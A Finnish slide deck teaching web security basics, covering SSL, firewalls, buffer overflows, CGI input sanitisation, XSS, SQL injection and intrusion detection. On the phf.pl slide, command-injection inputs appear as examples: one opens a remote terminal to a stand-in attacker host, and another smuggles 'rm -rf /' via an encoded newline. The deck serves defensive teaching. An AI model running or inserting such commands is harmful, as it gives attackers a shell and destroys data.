420 likes | 935 Views
WWW:n tietoturva. Tietoturvan perusteet. Tietoturvan peruskäsitteet. Tietojen muuttamattomuus eheys, integrity Tietojen salaisuus luottamuksellisuus, confidentality Mahdollisuus käyttää omia tietoja käytettävyys eli saatavuus, availability Tapahtumien todistettavuus
E N D
Tietoturvan peruskäsitteet • Tietojen muuttamattomuus • eheys, integrity • Tietojen salaisuus • luottamuksellisuus, confidentality • Mahdollisuus käyttää omia tietoja • käytettävyys eli saatavuus, availability • Tapahtumien todistettavuus • kiistämättömyys, non-repudiation
Tietoturvan tavoitteet • Tietoturvallisuus on kustannustekijä, jolla pyritään välttämään suurempia kustannuksia • Tietoturvan perusta on turvasuunnittelussa • Tekniset ratkaisut suhteutettava muuhun turvaan • Rikollinen ylittää aidan matalimmasta kohdasta • Turvasuunnittelun lähtökohta: • Mitä meillä on? • Mitä uhkia siihen kohdistuu? • Miten ne torjutaan tai otetaan vastaan? • Uhkia on katsottava hyökkääjän, ei puolustautujan kannalta
Kokemuksia tietoturvasta • Rikolliset muodostavat kustannustietoisen verkostoituneen taloussegmentin • WWW-palveluiden taloudellisen merkityksen kasvaessa, niiden houkuttelevuus kasvaa • Täsmähyökkäyksiä voi tilata tarpeen mukaan, esim. tiettyä verkkopankkia vastaan • Yritysmaailmassa sisäiset, omasta henkilöstöstä lähtevät uhat ovat suurin vahingonaiheuttaja • Palomuuri ei suojaa verkon sisällä • Realistisesti kuviteltavissa olevat tekniset uhat tullaan tuotteistamaan helppokäyttöisiksi ohjelmatuotteiksi • Salakuuntelu • Ohjelmistoaukkojen etsiminen • Uusien viruksien luominen
Internetin tietoturva • Internet ei takaa minkäänlaista tietoturvaa • Perusprotokollien salakuuntelu on helppoa • IP-osoitteiden, sähköpostin ym. väärentäminen on mahdollista • IP-pakettien ja sähköpostin reitti verkossa satunnainen ja mahdollisesti altis erilaisille hyökkäyksille kuten • sisällön muuttaminen (esim. man-in-the-middle -hyökkäys) • yhteyden kaappaaminen • Yleisesti käytetyissä ohjelmissa on turvallisuusaukkoja
WWW:n turvaongelmat • WWW-liikenne ei ole normaalisti salattua • Palvelimen omistajasta tai haltijasta ei voi varmistua • Mahdollisesti väärää tietoa • Mahdollisesti kerätään tietoa väärillä perusteilla • Phishing-hyökkäys • Mahdollisesti hyökkääjä esiintyy palvelimena ja ottaa varsinaiseen palvelimeen yhteyttä käyttäjän tunnuksilla • Man in the Middle • Palvelinohjelmistoissa on ollut turva-aukkoja • Mahdollistavat tunkeutumisen palvelimeen, tiedon muuttamisen ja varastamisen • Selainkin on mahdollista ottaa haltuun • Haittaohjelma muokkaa selainta • ActiveX-, Java- ja JavaScript-teknologioissa on ollut aukkoja
Muita turvaongelmia • Erilaiset palvelunestohyökkäykset ovat mahdollisia • DoD, Denial of service -hyökkäys • Salakuunnellun viestin voi lähettää uudestaan, vaikka se olisi salattu ja allekirjoitettu • Replay- eli uudelleenlähetyshyökkäys • Avattuja ja tunnistettuja yhteyksiä on mahdollista kaapata • Väärä palvelin voi avata yhteyden oikeaan palvelimeen • Mahdollistaa esim. pankkitilin tyhjentämisen • Man in the middle -hyökkäys
Käyttäjään kohdistuvat tietoturvauhat • Tietojen joutuminen ulkopuolisten käsiin • Petollinen WWW-palvelu • Etenkin luottokorttien numerot • Salakuuntelu • Tietojen ryöstäminen kauppapaikasta • Aiheettomat laskut, tilaukset ja toimitukset • Toimintahäiriöt organisaation prosesseihin • Internetin toiminta ei ole yhtä varmistettua kuin puhelimen • Yksityishenkilön tietosuoja • Murtuu jo pelkästään käyttäjälokeja yhdistelemällä
Aktiiviset komponentit • Aktiivinen komponentti on ohjelma, joka haetaan WWW-palvelimesta ja suoritetaan käyttäjän selaimessa • Eli käyttäjän koneessa suoritetaan ohjelmaa, josta käyttäjä ei tiedä mitään • Periaatteessa Java-tulkki sulkee ohjelman sisälleen hiekkalaatikkoon ja estää pääsyn koneen tiedostoihin ja muistiin • Käytännön toteutuksista on löydetty ja paikattu aukkoja suojauksista • Java-tulkki rajoittaa myös Java-ohjelman tietoliikenneyhteydet vain siihen koneeseen josta ohjelma on haettu • Javascipt, Jscript on selaimessa tulkattava ohjelmointikieli, jonka primitiivit (käskyt) ovat rajoitetumpia kuin Javassa • Javascriptillä ja Java-kielellä ei ole keskenään mitään yhteistä
…Aktiiviset komponentit • ActiveX-ohjelmaa ei rajoiteta mitenkään (Windows 95-järjestelmässä) • ActiveX-ohjelman ajaminen voidaan sallia tai estää ohjelman varmenteeseen perustuen (tietoturva kaikkien käyttäjien käsissä) • Flash on visuaalinen ohjelmointikieli, joka on periaatteessa Javan tapaan kohtuullisen turvallinen, mutta siitä on löydetty myös aukkoja • Plug-init ovat ohjelmia, jotka käyttäjä asentaa tietoisesti selaimeen (esim. Flash tarvitsee tällaisen) • Muitakin tämäntapaisia komponenttijärjestelmiä on olemassa
WWW:n salaus • WWW tarjoaa mahdollisuuden SSL-suojaukseen • Secure Socket Layer • Standardointinimi TLS (Transport Layer Security) • Sisältää WWW-liikenteen salauksen ja eheyden • WWW-palvelin voidaan tunnistaa SSL-varmenteen avulla • Käyttäjät on koulutettava tarkistamaan, että salaus on voimassa • Nykyään käytössä oleva salaus on käytännössä murtamatonta suoralla avaimen arvaushyökkäyksellä • Käytännön toteutus: • SSL-ohjelmisto WWW-palvelimen portissa 443 • Salatun SSL-putken läpi ajetaan normaalia HTTP-protokollaa • Välipalvelimet (proxyt) eivät näe SSL-suojatun liikenteen sisältöä
WWW:n salauksesta varmistuminen • SSL tarjoaa tietoliikenteen salauksen ja palvelimen tunnistamisen • Salaus on päällä, kun selaimen pieni avaimen tai lukon kuva on kiinni • Lisäksi kannattaa opetella katsomaan kuvakkeen takana olevat tiedot varmenteista • On olemassa hyökkäyksiä, joilla WWW-yhteys saadaan näyttämään salatulta vaikka se ei ole
Salattu WWW-yhteys URL alkaa HTTPS- protokollannimellä SSL-salaus on päällä
Selaimen varmenteen tiedot Lukkoa näpäyttämällä saa varmenteen luettavaksi
Käyttäjän näkemys tietoturvasta • Tietoturva on välttämätön paha, joka haittaa työntekoa • Käyttäjät ovat usein päteviä poistamaan työnteon esteet • Tietoturvan merkitystä ei arvosteta • Käytäntö lepsuu usein nopeasti • Käyttäjillä ei aina ole riittävää kompetenssia tietoturvan soveltamiseen • Jos intranetin WWW-palvelussa on linkki Internetissä olevaan palvelimeen ja siellä pyydetään käyttäjätunnusta ja salasanaa, kuinka moni käyttäjä antaa oman intranet-tunnuksensa ja -salasanansa? • Käyttäjiä on koulutettava ja tietoturvan merkitystä painotettava jatkuvasti • Organisaatioissa luotava turvaa tukevat toimintatavat • Käyttöliittymät kehitettävä turvaa tukeviksi • Käyttäjien turvatietoisuuden korvaaminen teknisillä ratkaisuilla on vaikeaa tai mahdotonta
WWW-palvelimen suojaus • Poistetaan turhat palvelut koneesta ja palvelinohjelmistosta • Rajataan palomuurilla tai reitittimellä ulkoa päin tulevat yhteydet minimiin • Käytännössä sallitaan ainoastaan WWW-liikenne • Sähköposti ohjataan eri koneeseen tai välipalvelimen kautta • Tarvittaessa rakennetaan syvyyttä puolustukseen • Suojautuminen palvelunestohyökkäyksiä vastaan on mahdotonta • Ohjelmistopäivityksillä ja palomuurilla voidaan torjua tietyt hyökkäykset
Palomuurit • Palomuuri on tietoliikennelaite, joka rajoittaa sen kautta kulkevaa liikennettä siihen asetettujen sääntöjen perusteella • Voi toimia pakettitasolla, jolloin se tunnistaa mihin IP-osoitteeseen (koneeseen) ja mihin porttiin (palveluun) paketti on matkalla tai tulossa • WWW-palvelin voidaan sijoittaa palomuurin taakse, jolloin hyökkääjä ei pääse kiinni koneessa oleviin FTP ja Telnet -palveluihin • Voi toimia sovellustasolla, jolloin se pystyy ottamaan kantaa myös siirrettävään sisältöön, esimerkiksi torjumaan virukset ja estämään Active-X -liikenteen • Sovellustason palomuuri mielekkäämpi yleensä asiakasorganisaatiossa kuin WWW-palvelimen yhteydessä
WWW-palvelinohjelmisto • Palvelinohjelmisto saattaa vuotaa ei-levitettäväksi tarkoitettua tietoa • Linkit data-alueelta ulos • Ohjelmointivirheet palvelinohjelmissa mahdollistavat murtautumisen • Esim. gets()-funktio mahdollistaa ylivuotojen hyödyntämisen • Palvelinta tulisi ajaa minimaalisilla oikeuksilla • Oma käyttäjätunnus palvelinohjelmistolle • Ei pääkäyttäjän oikeuksilla
Puskurin ylivuoto • Puskurin ylivuoto (buffer overflow) on C-kielen ja eräiden muiden ohjelmointikielten ongelma, joka on aiheuttanut paljon tietoturvaseurauksia • Toimii siten, että • Ohjelma varaa muistialueen ja lukee siihen rivin tekstiä, tarkistamatta rivin pituutta • Hyökkääjä kirjoittaa (verkon, tiedoston, sähköpostin) kautta ylipitkän rivin, joka luetaan muuttujan paikkaa seuraavalle muistialueelle • Hyökkääjä sijoittaa dataan esim. ohjelmakoodia ja pyrkii saamaan sen suoritettavaksi • Hyökkäys torjutaan siten, että muistiin kirjoitettaessa datan määrä rajoitetaan eksplisiittisesti char mybuf[21]; sprintf (mybuf, "%.20s", user_input);
WWW:n interaktiivisten toimintojen aukot • WWW-lomakkeen tiedot välitetään palvelimessa olevalle ohjelmalle • Ohjelmakoodia ajetaan palvelinkoneessa ylläpitäjän asettamilla oikeuksilla • Minimaalisillakin oikeuksilla CGI-ohjelmalla on pääsy kaikkiin (Unix-) koneen tiedostoihin, joita ei ole erikseen suojattu • Useita eri ohjelmointikieliä- ja tekniikoita • C, Java, Perl, PHP, .asp, valmiit modulit selaimeen jne. • Ratkaisut: • Vaatimusmäärittely ennen ohjelmointia, mukaalukien turvamäärittely • Huolellinen ja turvatietoinen ohjelmointi • Interaktiivisten palveluiden toiminnan ymmärtäminen • Lomaketta tulkitsevan ohjelman ominaisuuksia rajoittavat työkalut
Käyttäjän syötteen käsittely • Systeemikutsut ovat erityinen riski • Huonosti kirjoitetussa ohjelmassa käyttäjän syöte välitetään käyttöjärjestelmälle komentorivillä, argumentti voi sisältää rivieroittimen ja käskyjä • Käyttäjän syöte kannattaa sanitoida muista kuin luvallisista merkeistä heti ohjelman alussa • Vastaava ongelma SQL-kielen kyselyiden kanssa • Mahdollistaa pääsyn tietokannan tietoihin ja jopa niiden muuttamisen • WWW:n lomakkeiden loogiset aukot • Lomake on palvelimen käyttäjälle luovuttama tiedosto • Paluutietoihin ei voi luottaa, käyttäjä saattaa editoida lomakkeen kenttiä ja muuttaa niitä
Esimerkki: phf.pl • Perl-kielinen moduli lukee käyttäjän antaman hakunimen muuttujaan ja käynnistää hakuohjelman $result = ‘ph $name‘; • Käyttäjä syöttää: foo; xterm -disp machine.attacker.com & • Ratkaisu 1: Filtteröidään komentotulkin tuntemat erottimet pois | & ; ( ) < > • Mutta rivinvaihtokin on komentoerotin... http://...?foo%0arm%20-rf%20/ • Oikea ratkaisu: Listataan sallitut merkit, estetään kaikki muu A-Z, a-z ja 0-9
Cross Site Scripting • WWW-sivulla oleva JavaScript suoritetaan periaatteessa "hiekkalaatikossa " kuten Javakin • Käytännössä selaimissa on virheitä, joiden ansiosta hiekkalaatikko vuotaa ja antaa ohjelmille vääriä oikeuksia • Hyökkääjän palvelimelta tai sähköpostissa tulleet JavaScriptin komennot saadaan näyttämään siltä, kuin ne tulisivat kohdepalvelimelta ja hyökkääjän ohjelma pystyy täten manipuloimaan kohdepalvelimen dataa (esim. varastamaan käyttäjän salasanan)
SQL Injection • http://www.xkcd.com/327/
Pääsyoikeudet WWW:ssä ja istunnon hallinta • Käyttäjätunnus ja salasana • WWW:n omalla Basic-suojauksella siirretään verkossa salaamatta • Syöttämisen jälkeen lähetetään palvelimelle jokaisen haun yhteydessä • Tämä ei ole enää merkittävästi käytössä • Salasana syötetään lomakkeeseen ja istunto hallitaan Cookie- ja URL-tietojen avulla • Salasana voi olla pysyvä tai kertakäyttöinen • Kertakäyttöinen salasana listasta tai laitteelta • Salasanan sijaan salausavain voi olla toimikortilla • Sovelletaan sähköistä allekirjoitusta • Toimikortti ei ole itsessään tunnistusväline vaan melko turvallinen paikka säilyttää salaus- ja allekirjoitusavaimia
...Pääsyoikeudet WWW:ssä ja istunnon hallinta • Cookie • Selaimeen talletettava informaationpätkä, joka palautetaan pyydettäessä • Säilyy sessiosta toiseen • Salakuunneltavissa • Ei toimi jos käyttäjä vaihtaa konetta • Cookiet ja IP-osoitteet voivat helpottaa käyttäjän tunnistusta, mutta niihin ei pidä luottaa liikaa • Biometriset järjestelmät (sormenjäljet jne.) • Eivät toimi verkkoympäristössä, huijaaminen liian helppoa
WWW-käyttäjän tunnistaminen kolmannen osapuolen avulla • PKI-järjestelmää eli varmenteita käytettäessä varmentaja allekirjoittaa käyttäjän salausavaimen • Tunnistajalla on oltava varmentajan julkinen avain varmenteen tarkistamiseksi • Suomen pankkien TUPAS-järjestelmässä WWW-käyttäjän yhteys ohjataan pankin palvelimelle • Pankin järjestelmä tunnistaa käyttäjän käyttäen Internet-pankin kertakäyttöistä salasanaa • Pankin palvelin palauttaa tunnistetiedon tunnistusta pyytäneelle järjestelmälle • Molemmat järjestelmät ovat kryptografisesti (teoreettisesti) luotettavia • Turva on mahdollista vesittää toteuttamalla järjestelmä tai käyttämällä sitä väärin
Palveluestohyökkäykset • Näyttävien tai poliittisesti kiinnostavien WWW-palvelimien ongelma • Näitä ei pystytä estämään täysin • Hyökkäyksen palvelinkonetta kuormittavaa vaikutusta voidaan vähentää sijoittamalla palvelimen eteen WWW-kytkin (Level 5 tai Level 7 switch) • Tällöin hyökkäys kuormittaa edelleenkin tietoliikenne yhteyttä • WWW-palvelu voidaan hajauttaa usealle palvelimelle, jotka sijaitsevat verkkotopologisesti erillään • Liikenne ohjataan DNS:n perusteella eri palvelimille • Esim. Akamai tarjoaa tätä palveluna
WWW-proxyt ja -cachet • Proxy peittää takanaan olevat IP-osoitteet ja DNS-nimet • Suuri määrä eri käyttäjiä saman IP-osoitteen takana • Yksi käyttäjä usean IP-osoitteen takana • Cache häiritsee dokumenttikohtaista laskutusta • Palvelin voi kieltää dokumentin cacheamisen • Ratkaisuksi esim. cookiet tai uniikki URL • SSL-dokumentteja ei cacheta (SSL estää)
Hyökkäyksen tunnistaminen • Intrusion Detection Systems, IDS • Hyökkäys tietoverkon koneisiin voidaan tunnistaa • Etsimällä verkon liikenteestä tunnettuja hyökkäyksiä (signatuureja) • Seuraamalla verkon liikennettä ja tunnistamalla epänormaali käyttäytyminen • Tarkkailemalla palvelimen tiedostoja ja tunnistamalla niiden muuttuminen • Heuristisilla analyyseillä systeemikutsuista • Käytännössä • Nykyiset järjestelmät tunnistavat paljon enemmän vääriä kuin oikeita hyökkäyksiä • Stealth-hyökkäysten tunnistaminen on vaikeaa • Raporttien tutkimiseen ja analysointiin vaaditaan erikoisosaamista
Aktiiviset toimenpiteet • "Hyökkäys on paras puolustus" • Hyökkääjään voidaan kohdistaa samat toimenpiteet kuin mitä hänkin käyttää • Verkossa on helppoa tehdä valehyökkäys, ts. käyttää väärää osoitetta • Vastahyökkäys täyttää yleensä rikoksen tunnusmerkistön • Vastahyökkäys ei kannata, enintään voidaan kerätä tietoa hyökkäyksen lähteestä • Puolustusta voidaan tiukentaa väliaikaisesti kun ollaan hyökkäyksen kohteena • Vahingonaiheuttaja voi häiritä palvelun toimintaa ylläpitämällä jatkuvaa näennäishyökkäystä • Toistaiseksi ei näköpiirissä ole siis hyödyllisiä aktiivisia vastatoimia
Rollback ja muu palautuminen • Hyökkäyksestä voi myös toipua palauttamalla hyökkäystä edeltävän tilan • Samalla kannattaa estää hyökkäyksen toisto • Siirretään WWW-sivusto toiselle palvelinohjelmistolle • Palautetaan palvelinohjelmiston edellinen versio • Wikipediassa kuka tahansa saa editoida artikkeleita, mutta aiempi versio voidaan palauttaa ja kiistanalainen artikkeli lukita editoinnilta. • Jatkuvuussuunnittelu on tärkeä osa tietoturvaa • Miten toivutaan vahingoista
WWW-palvelun turvasuunnittelu • Määritellään palvelun tavoitteet • Kartoitetaan riskit • Analysoidaan palvelun tietovirrat • Tarkastellaan palvelua eri näkökulmista • Palveluntarjoaja, käyttäjä, vihamielinen taho
Turvan rakennuspalikat • Turvan on oltava kokonaisvaltaista ja moniulotteista • Suunnitelma sekä koulutusta, ohjeita, sääntöjä ja tekniikkaa • Tekninen turvarajapinta suojaa tietoja teknisiltä uhilta • Koneet fyysisesti toimistorakennuksessa • Palomuuri rajaa verkosta tulevaa liikennettä • Salaus suojaa tietoja matkalla paikasta toiseen • Pääsy tietoihin määritellään tunnistamalla käyttäjät • Mahdollinen hyökkäys voidaan joskus tunnistaa valvontaohjelmalla • Virukset torjutaan virukset tuntevalla ohjelmalla • Sopimukset allekirjoitetaan kryptografisesti
Komponenttien kokonaisuus I Asiakkaiden tiedot ovat erillään tietokannassa SSL-kiihdytin tehostaa salausta Uhkat WWW-palvelin tarjoaa kauppapaikan Palomuuri rajoittaa pääsyä IDS-järjestelmä hälyttää kaikesta muusta kuin tietokantaliikenteestä
Verkkokaupan oikea tietoturva • Verkkokaupan tavoitteena on tuottaa rahaa lainsäädännön puitteissa • Esim. asiakastietojen säilyttäminen erillään edustapalvelimesta on pakollinen vaatimus • Kaikkien uhkien torjuminen on kalliimpaa kuin tiettyjen ottaminen vastaan • Asiakkaan tunnistamisen ja sähköisen allekirjoituksen sijaan kohtuullinen varmuus tilauksen oikeellisuudesta • Pienissä kaupoissa hävikki voidaan kestää • Suurissa kaupoissa on taloudellisesti kannattavaa käyttää puhelinta, faxia, kirjallista tilausta, ennakkomaksua jne.
Yhteenveto • Kaikkia turvaratkaisuja on mainostettu "lopullisina ratkaisuina" • WWW:tä käytetään eri tarkoituksiin, joilla on omat tarpeensa, joihin on valittava oikeat ratkaisut • Valittu teknologia ei ole niin tärkeä kuin sen oikea käyttö • Turva on kustannuskysymys • Mitkä riskit voidaan ottaa vastaan • Toteutusprojektit vaativat osaamista ja ymmärrystä, sekä kaupallista, että teknistä
Hyödyllisiä linkkejä • WWW:n tietoturva • http://www.w3.org/Security/ • tietosuoja mm.: http://www.w3.org/P3P/ • http://www.cgisecurity.com/ • http://www.owasp.org/ • Yleisestä tietokoneiden tietoturvasta • http://www.cert.org/ • Viestintäviraston CERT-FI toiminta • http://www.ficora.fi/suomi/tietoturva/index.htm • Internet-standardit, myös kehitteillä olevat • http://www.ietf.org/